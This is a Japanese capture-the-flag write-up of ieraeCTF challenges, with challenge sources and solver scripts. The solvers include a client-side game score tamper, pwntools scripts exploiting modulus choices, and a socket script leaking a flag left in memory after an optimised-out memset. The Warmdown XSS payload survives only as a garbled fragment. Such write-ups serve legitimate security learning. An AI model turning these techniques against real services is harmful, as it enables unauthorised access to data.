
ieraeCTFにsknbとして参加して、チームメンバーが強く5位でした。
私はrev,webの最初のかんたんな3問ほどをときましたが、他の問題も面白そうだったのでupsolvesしました。
Slide Sandboxときたかったなぁー
DiNo.1

chromeとかでネットがないときにでてくるあのゲームをオマージュしています。
ちなみに、この画像はstさんが発見したチートですw
5000点以上を突破するとFLAGが得られるようです。
このチートでもいけますが、実装を見てみると
function updateGame(timestamp) {
if (isGameOver) return;
if (!lastFrameTime) lastFrameTime = timestamp;
const deltaTime = timestamp - lastFrameTime;
lastFrameTime = timestamp;
const timeRatio = deltaTime / FRAME_TIME;
score += Math.ceil(timeRatio);
scoreElement.textContent = `Score: ${score}`;
const currentGameSpeed = gameSpeed * (1.5 + Math.floor(score / 500) * 0.2) * timeRatio;
if (!lastCactusTime || timestamp - lastCactusTime > nextCactusDelay) {
lastCactusTime = timestamp;
createCactus();
nextCactusDelay = getRandomCactusDelay();
}
const bearRect = bear.getBoundingClientRect();
const bearBottom = parseInt(bear.style.bottom || '0');
for (let i = 0; i < cacti.length; i++) {
const cactus = cacti[i];
const currentPosition = parseInt(cactus.style.left);
const newPosition = currentPosition - currentGameSpeed;
if (newPosition < -30) {
cactus.remove();
cacti.splice(i, 1);
i--;
} else {
cactus.style.left = newPosition + 'px';
const cactusRect = cactus.getBoundingClientRect();
if (
bearRect.right > cactusRect.left + 10 &&
bearRect.left < cactusRect.right - 10 &&
bearBottom < cactusRect.height * 0.8
) {
gameOver();
return;
}
}
}
if (!isGameOver) animationId = requestAnimationFrame(updateGame);
}
なので、scoreをクライアント側で、score=5000として、即gameOver()を呼び出せばフラグが得られます。


Baby MSD
chal.py
#!/usr/bin/env python3
from sys import exit
from random import randint
def stage():
digit_counts = [0 for i in range(10)]
for i in range(2000):
secret = randint(10 ** 60, 10 ** 100)
M = int(input("Enter mod: "))
if M < 10 ** 30:
print("Too small!")
exit(1)
msd = str(secret % M)[0]
digit_counts[int(msd)] += 1
choice = int(input("Which number (1~9) appeared the most? : "))
for i in range(10):
if digit_counts[choice] < digit_counts[i]:
print("Failed :(")
exit(1)
print("OK")
def main():
for i in range(100):
print("==== Stage {} ====\n".format(i+1))
stage()
print("You did it!")
with open("flag.txt", "r") as f:
print(f.read())
if __name__ == '__main__':
main()
10**60から10**100までのsecretと10**30までのMのsecret % Mを計算しその最上位桁で最も多く出現した数字を答える。
これを2000回
Mを自由に指定できるので、2 * 10**30としたらあまりは[10**30,2*10**30-1]の間の数が半分を占めるため、最上位が1を占める確率が1/2になる。
from pwn import *
p = remote("xxxx",12343)
MOD = str(2 * 10**30).encode()
payload = (MOD + b'\n') * 2000
for i in range(100):
print(f"[*] Solving Stage {i+1}/100...")
p.recvuntil(b"Enter mod: ")
p.send(payload)
p.recvuntil(b"Which number (1~9) appeared the most? : ")
p.sendline(b"1")
p.recvuntil(b"OK\n")
print("\n[+] All stages cleared! Receiving the flag...")
flag = p.recvall().decode()
print(f"\n[!] FLAG: {flag}")
p.close()
Length Calculator
chal.c
// gcc chal.c -o chal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/mman.h>
void win(int sig) {
puts("Well done!");
system("cat ./flag*");
exit(0);
}
int main() {
// If you cause SEGV, then you will get flag
signal(SIGSEGV, win);
setbuf(stdout, NULL);
while (1) {
unsigned int size = 100;
printf("Enter size: ");
scanf("%u%*c", &size);
char *buf = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (!buf) {
puts("Too large!");
exit(1);
}
printf("Input: ");
fgets(buf, size, stdin);
buf[strcspn(buf, "\n")] = '\0';
printf("Your string length: %d\n", strlen(buf));
}
}
なんとsignal(SIGSEGV, win);という幻のコードが
SIGSEGVを発生させたら勝ちです。
man mmapを見るとERRORの欄に EINVAL (since Linux 2.6.12) length was 0.とあり、sizeに0を入力したらフラグが得られます。
rev rev rev
chal.py
flag = open('flag.txt', 'r').read()
x = [ord(c) for c in flag]
x.reverse()
y = [i^0xff for i in x]
z = [~i for i in y]
open('output.txt', 'w').write(str(z))
output.txt
[-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183]
やるだけ
z = [-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183]
y = [~i for i in z]
x_reversed = [i ^ 0xff for i in y]
x = x_reversed[::-1]
flag = "".join([chr(i) for i in x])
print(flag)
Warmdown
unescapeしたものをそのままinnerHTMLしてしまっています。
うまく自作のunescapeを逆手に取ります。
 title=\"b")
rot rot rot
chatGPTに必要な関数を投げるとsolverをくれます。
#!/usr/bin/env python3
# solve.py
def rol32(x: int, n: int) -> int:
"""32bit の左ローテート"""
n &= 31
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def ror32(x: int, n: int) -> int:
"""32bit の右ローテート"""
n &= 31
return (x >> n) | ((x << (32 - n)) & 0xFFFFFFFF)
def rol8(b: int, n: int) -> int:
"""8bit の左バイトローテート"""
n &= 7
return ((b << n) & 0xFF) | (b >> (8 - n))
def ror8(b: int, n: int) -> int:
"""8bit の右バイトローテート"""
n &= 7
return (b >> n) | ((b << (8 - n)) & 0xFF)
# ── サブルーチン群 ──────────────────────────────────
def sub_1370(a1: int) -> int:
"""
uint FUN_00101370(int param_1) の移植。
-396357609 * a1, ・・・ と負数乗算しているので、Python でも同じ計算をして
最後に &0xFFFFFFFF で 32bit に戻します。
"""
# stage1: t1 = -396357609 * a1
t1 = (a1 * -396357609) & 0xFFFFFFFF
v2 = ((rol32(t1, 13) ^ t1) * -1700506385) & 0xFFFFFFFF
v3 = ((ror32(v2, 5) ^ v2) * -1454520113) & 0xFFFFFFFF
v4 = ((rol32(v3, 24) ^ v3) * -633224058) & 0xFFFFFFFF
# final: ror32(v4, 17) ^ v4
return ror32(v4, 17) ^ v4
def sub_12DB(a1: int) -> int:
"""
uint FUN_001012db(byte param_1)
ROT13 風置換:a–m→+13, n–z→–13, A–M→+13, N–Z→–13
"""
if 97 <= a1 <= 109 or 65 <= a1 <= 77:
return (a1 + 13) & 0xFF
if 110 <= a1 <= 122 or 78 <= a1 <= 90:
return (a1 - 13) & 0xFF
return a1
# ── ステージ1:置換+バイトローテート ────────────────
def sub_stage1_forward(data: bytes) -> bytearray:
n = len(data)
out = bytearray(n)
v7 = 0
for i, b in enumerate(data):
v6 = sub_12DB(b)
v7 = (v7 + 4) % 7 + 1
if i & 1:
# 奇数インデックス → FUN_00101269 = 右ローテート
out[i] = ror8(v6, v7)
else:
# 偶数インデックス → FUN_001012a2 = 左ローテート
out[i] = rol8(v6, v7)
return out
def sub_stage1_inverse(data: bytearray) -> bytearray:
# sub_12DB の逆写像
inv_db = { sub_12DB(b): b for b in range(256) }
# バイトローテートの逆写像テーブル
inv_even = {} # 偶数位置:左ローテートの逆 = 右ローテート
inv_odd = {} # 奇数位置:右ローテートの逆 = 左ローテート
for b in range(256):
v6 = sub_12DB(b)
for v7 in range(1, 8):
inv_even[(rol8(v6, v7), v7)] = v6
inv_odd [(ror8(v6, v7), v7)] = v6
n = len(data)
plain = bytearray(n)
v7 = 0
for i in range(n):
v7 = (v7 + 4) % 7 + 1
c = data[i]
if i & 1:
v6 = inv_odd[(c, v7)]
else:
v6 = inv_even[(c, v7)]
plain[i] = inv_db[v6]
return plain
# ── ステージ2:ブロック内バイトローテート ───────────────
def sub_stage2_forward(data: bytearray) -> bytearray:
n = len(data)
out = bytearray(data)
v11 = 0
for j in range(0, n, 8):
blk = min(8, n - j)
v11 = (v11 + 3) % 7 + 1
for _ in range(v11):
first = out[j]
for k in range(blk - 1):
out[j + k] = out[j + k + 1]
out[j + blk - 1] = first
return out
def sub_stage2_inverse(data: bytearray) -> bytearray:
n = len(data)
out = bytearray(data)
v11 = 0
for j in range(0, n, 8):
blk = min(8, n - j)
v11 = (v11 + 3) % 7 + 1
for _ in range(v11):
last = out[j + blk - 1]
for k in range(blk - 1, 0, -1):
out[j + k] = out[j + k - 1]
out[j] = last
return out
# ── ステージ3:ストリーム暗号的 XOR ────────────────
def sub_stage3_forward(data: bytearray, header: bytes) -> bytearray:
n = len(data)
out = bytearray(n)
# 平文先頭 4 バイトをリトルエンディアン seed に
v8 = sum(header[i] << (8 * i) for i in range(4))
v9 = sub_1370(v8)
for i in range(n):
k = v9 & 0xFF
out[i] = data[i] ^ k
v9 = sub_1370(v9)
return out
# 逆演算は「同じストリームをもう一度 XOR」
sub_stage3_inverse = sub_stage3_forward
# ── 全体の encrypt / decrypt ────────────────────────────
def encrypt(plain: bytes, header: bytes = b"IERA") -> bytes:
s1 = sub_stage1_forward(plain)
s2 = sub_stage2_forward(s1)
s3 = sub_stage3_forward(s2, header)
return bytes(s3)
def decrypt(enc: bytes, header: bytes = b"IERA") -> bytes:
s2 = sub_stage3_inverse(bytearray(enc), header)
s1 = sub_stage2_inverse(s2)
plain = sub_stage1_inverse(s1)
return bytes(plain)
# ── メイン & テスト ─────────────────────────────────
if __name__ == "__main__":
# 1) ラウンドトリップテスト
sample = b"IERAE{TEST1234}"
enc_sample = encrypt(sample)
dec_sample = decrypt(enc_sample)
print("Round-trip OK?", dec_sample == sample, repr(dec_sample))
# 2) flag.enc の復号
try:
with open("flag.enc", "rb") as f:
enc_flag = f.read()
dec_flag = decrypt(enc_flag)
# 末尾のスペース/NULL パディング除去
dec_flag = dec_flag.rstrip(b"\x00").rstrip(b" ")
print("Decrypted flag:", dec_flag.decode("utf-8", errors="ignore"))
with open("flag.dec", "wb") as f:
f.write(dec_flag)
except FileNotFoundError:
print("flag.enc が見つかりません。ラウンドトリップテストのみ行いました。")
Stdio Studio
// gcc chal.c -o chal -O3
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void load_flag() {
char flag[128] = "";
FILE *fp = fopen("flag.txt", "rb");
if (!fp) {
puts("Something went wrong. Call admin.");
exit(1);
}
fread(flag, sizeof(char), 128, fp);
fclose(fp);
// puts(flag); // Sorry! No flag for you!
memset(flag, 0, 128); // The secret should be cleared up
}
void echo(void) {
unsigned int size;
char *buf;
printf("Size: ");
scanf("%u%*c", &size);
buf = alloca(size);
if (!buf) {
puts("Too large!");
exit(1);
}
printf("Input: ");
fgets(buf, size, stdin);
sleep(1);
printf("Output: %s\n", buf);
}
int main() {
setbuf(stdout, NULL);
puts("1. Load flag");
puts("2. Echo");
while (1) {
int cmd;
printf("Enter command: ");
scanf("%d%*c", &cmd);
if (cmd == 1) load_flag();
else if (cmd == 2) echo();
else {
puts("Invalid command :(");
return 0;
}
}
}
わざわざ-O3で実行しており、これはコンパイラをめちゃくちゃ最適化するで。という意味らしい
すると、逆コンパイルしたらわかったのですが、memsetがいらねえってことで削除されています。
どうやら、memsetでバッファをゼロクリアした後、flag変数が二度と読み取られないのでいらねえらしいです。
なので、flagのデータはメモリに残っています。
あとは、fgetsの時にEOFを送信すると、bufに書き込むことなく終了してくれるので、あとはgdbとかでsizeを調整しながらbufがさすメモリをフラグの位置に調整すればOKです。
netcatでCtrl+Dを押してもなにも反映されなかったので、Geminiに聞いてみると「-N」などのオプションを付けたらいいらしいですが、うまくいかなかったのでshutdownを使う方法もあるらしいのでそれでsolverを作成しました。
import socket
import time
HOST = '35.187.219.36'
PORT = 33335
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(4096).decode()
s.sendall(b'1\n')
time.sleep(0.1)
s.recv(4096).decode()
s.sendall(b'2\n')
time.sleep(0.1)
s.recv(4096).decode()
s.sendall(b'80\n')
time.sleep(0.1)
s.recv(4096).decode()
s.shutdown(socket.SHUT_WR)
flag_data = s.recv(4096)
print(f"{flag_data = }")
s.close()
print("Connection closed.")
MSD
baby msdでは
for i in range(2000):
secret = randint(10 ** 60, 10 ** 100)
だったものが
secret = randint(10 ** 60, 10 ** 100)
for i in range(2000):
と、secretが固定になっている。
何がおこるかというと、baby msdでは2 * 10 ** 30を永遠に送り続けていたが今回の場合、secretが固定なので、運悪くsecret % 2*10**30が1以外の場合、正解にたどり着けません。
なので、Mを変えていかなければいけません。
2 * 10 ** kでkをランダムにしたらbaby msdと同じ理論で1が多くなるはずです。
from pwn import *
from tqdm import tqdm
# io = remote("35.221.87.39",18374)
io = process(["python","chal.py"])
payload = b""
for i in range(2000):
k = 30 + (i % 21)
payload += str(2 * 10 ** (k)).encode() + b"\n"
for i in tqdm(range(100)):
io.send(payload)
io.sendlineafter(b"Which number (1~9) appeared the most? : ",str(1))
io.interactive()
脳死でこれを何回か実行するとフラグが得られます。
trunc
sagemathが読めないかけないのでGeminiと相談しながら解きました。
最初に脆弱性っぽいとこを教えてくれて、sが判明すれば解けることもわかりました。
とりあえず脳死で、詰めていくのですがsolve数が40くらいなところから詰めるだけでは解けないのだろうなと思い、考えてみると、うまく問題の脆弱性ぽいところを利用し、eを求める方法を思いつき、相談してみるとフラグが出てきました!
AIすごい。そしてcryptohackをやろう